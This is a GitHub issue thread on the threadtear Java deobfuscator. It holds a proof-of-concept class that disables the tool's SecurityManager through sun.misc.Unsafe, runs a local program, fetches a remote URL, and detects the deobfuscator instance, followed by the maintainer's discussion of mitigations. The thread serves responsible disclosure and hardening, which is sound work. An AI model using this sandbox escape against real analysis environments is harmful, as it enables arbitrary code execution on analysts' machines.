threadtear
threadtear copied to clipboard
Example PoC of ACE to link on README.md
Saw your warning @ https://github.com/GraxCode/threadtear#warning and thought it would be cool if people could see what an example of a successful arbitrary code execution would look like on threadtear as well as how the deobfuscator's instances are exposed to the program.
The PoC below specifically is targeted against Allatori's transformer; however, it can easily be adapted to fool threadreaper into executing it in any of the other transformers which utilize the VM.
package me.itzsomebody.poc;
import sun.misc.Unsafe;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
public class PoC {
public static void bogus() {
System.out.println(malicious("lol"));
}
public static String malicious(String bogus) {
try {
for (StackTraceElement element : Thread.currentThread().getStackTrace()) {
if (element.getClassName().startsWith("me.nov")) {
System.out.println("Found exposed threadtear deobfuscator instance: " + element.toString());
}
}
} catch (Throwable t) {
}
try {
Field f = Unsafe.class.getDeclaredField("theUnsafe"); // from http://weblog.ikvm.net/2011/08/01/HowToDisableTheJavaSecurityManager.aspx
f.setAccessible(true);
Unsafe unsafe = (Unsafe) f.get(null);
Method staticFieldBase = Unsafe.class.getDeclaredMethod("staticFieldBase", Class.class);
Object systemBase = staticFieldBase.invoke(unsafe, System.class);
Method getObject = Unsafe.class.getDeclaredMethod("getObjectVolatile", Object.class, long.class);
Method putObject = Unsafe.class.getDeclaredMethod("putObjectVolatile", Object.class, long.class, Object.class);
for (int i = 0; ; i += 4) {
if (getObject.invoke(unsafe, systemBase, i) == System.getSecurityManager()) {
putObject.invoke(unsafe, systemBase, i, null);
System.out.println("Disabled threadtear's SecurityManager");
break;
}
}
Runtime.getRuntime().exec("notepad.exe");
System.out.println("Successful command line execution");
java.net.URLConnection connection = new java.net.URL("https://gist.githubusercontent.com/ItzSomebody/ac48f790620dace21ab2654bac155107/raw/4e6bea306e5c42a8ff58b39b76f91884931e8b4b/keybase.md").openConnection();
connection.setConnectTimeout(8000);
connection.setReadTimeout(8000);
java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(connection.getInputStream()));
String s;
while ((s = reader.readLine()) != null) {
System.out.println(s);
}
System.out.println("Successful arbitrary code execution");
} catch (Throwable t) {
// Oops, we failed to disable the SM
// Gotta exit otherwise SuSpiCiOuS
}
return "TT ACE proof-of-concept";
}
}
Interesting, didn't know you could bypass the security manager like that. Check out the latest commit.
If you find another bypass, let me know!
Your latest commit will actually break your other executions in certain cases (notably, the ones for Stringer) as some decryptor methods actually make use of some of the classes you prohibited with that commit.
Examples:
- Stringer 3.x.x string encryption with bytecode integrity checking (uses the Sun API to fetch the constant pool size of the callee's containing class).
- Stringer 3.x.x/9.x.x string encryption with JAR integrity checking which utilizes
java.lang.reflect
to check parts of the JAR to compute a key. - Stringer 3.x.x/9.x.x hide access obfuscation which utilizes classes from
java.lang.reflect
to produce either CallSite or ajava.lang.reflect.{Method/Field}
to the appropriate class member.
Furthermore, the presence of the VM can still be found with something such as if (PoC.class.getClassLoader().getClass().getName().startsWith("me.nov")) throw new RuntimeException("Found deobfuscator instance")
.
Oops, didn't notice that. You can't really hide the VM instance, but that's not that important IMO. Gotta find a workaround for that.
It is gonna be pretty hard to block bypasses using reflection, as ReflectPermission
does not provide a way to get the context (e. g. allow reflection for everything, except java.lang.System
). For now I'm disabling reflection checks for these executions you listed.
Java doesn't allow me to redefine java.lang.reflect.AccessibleObject
either. Still haven't found any way to only block certain reflection.